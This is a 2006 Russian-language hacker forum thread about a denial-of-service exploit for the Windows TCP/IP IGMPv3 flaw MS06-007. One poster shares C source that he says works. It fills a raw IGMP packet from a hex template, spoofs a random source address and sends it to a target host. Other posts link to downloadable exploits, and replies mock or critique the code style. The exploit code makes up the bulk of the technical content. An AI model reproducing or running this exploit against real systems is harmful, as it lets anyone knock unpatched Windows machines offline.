Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Защита ОС: вирусы, антивирусы, файрволы. (https://forum.antichat.xyz/forumdisplay.php?f=80)
-   -   (IGMP v3) Denial of Service Exploit (MS06-007) (https://forum.antichat.xyz/showthread.php?t=16284)

c411k 22.03.2006 00:48

(IGMP v3) Denial of Service Exploit (MS06-007)
 
Отказ в обслуживании в Microsoft Windows TCP/IP
http://www.securitylab.ru/poc/264136.php
сплоит - http://www.securitylab.ru/_download/...3/EvilIGMP.rar
раньше на секлабе орали скомпильте, теперь ревут дайте сорцы :D

tclover 22.03.2006 00:59

http://forum.antichat.ru/threadedpos...tml#post126267
баян

KEZ 22.03.2006 01:51

Цитата:

теперь ревут дайте сорцы
хахаха
ребят, я конечно все понимаю, но посмотреть снифером пакет и потом его послать - не особо сложно... Вот что я сделал - работает:

Код:

static char IgmpTemplate[] =
"\x47\x00\x00\x2c\x00\x64\x00\x00\x80\x02"
"\x24\x63\x0a\x00\x00\x01\x0a\x00\x00\x09"
"\x00\x00\x00\x00\x00\x00\x00\x00\x11\x05"
"\x04\xef\xe0\x00\x00\x01\x00\x00\x00\x01"
"\x0a\x00\x00\x09";

int seq_no = 0;

void Igmp_Fill( char *buf, DWORD src_ip, DWORD dst_ip )
{
        _memcpy( buf, IgmpTemplate, 44 );
        ipheader *iph = (ipheader*)buf;
        iph->ip_sum  = 0;
        iph->ip_dst  = src_ip+1;
        if (!src_ip) src_ip = (rand() << 16) | rand();
        iph->ip_src  = src_ip;
        iph->ip_id    = seq_no++;
}

int IgmpExploit( DWORD src_ip, DWORD dst_ip )
{
        SOCKET s = _socket( PF_INET, SOCK_RAW, IPPROTO_RAW );       
        if (s == INVALID_SOCKET) return 0;

        int bOpt = 0;
        if (_setsockopt( s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof( bOpt ) ) == SOCKET_ERROR)
                return 0;

        if (!dst_ip) return 1;

        sockaddr_in s_a;
        s_a.sin_family = AF_INET;
        s_a.sin_addr.s_addr = dst_ip;

        char packet[44];
        _memset( packet, 0, 44 );

        Igmp_Fill( packet, src_ip, dst_ip );
        if (_sendto( s, packet, 44, 0, (struct sockaddr*)&s_a, sizeof( s_a ) ) == SOCKET_ERROR)
                return 2;

        _closesocket( s );

        return 3;
}

кто хоть чтото понял - разбереться в антиламере

grinay 22.03.2006 03:38

Блин кез не в обиду какая то у тебя манера странная написания сплоитов:)
iph->ip_sum = 0;
iph->ip_dst = src_ip+1;
if (!src_ip) src_ip = (rand() << 16) | rand();
чЕ ЗА НА:)

Elekt 22.03.2006 09:18

http://milw0rm.com/exploits/1599

KEZ 22.03.2006 17:55

Цитата:

какая то у тебя манера странная написания сплоитов
Непонял, что тебе не понравилось в это фрагменте?

http://milw0rm.com/exploits/1599 - у меня помоему покороче будет...


Время: 13:27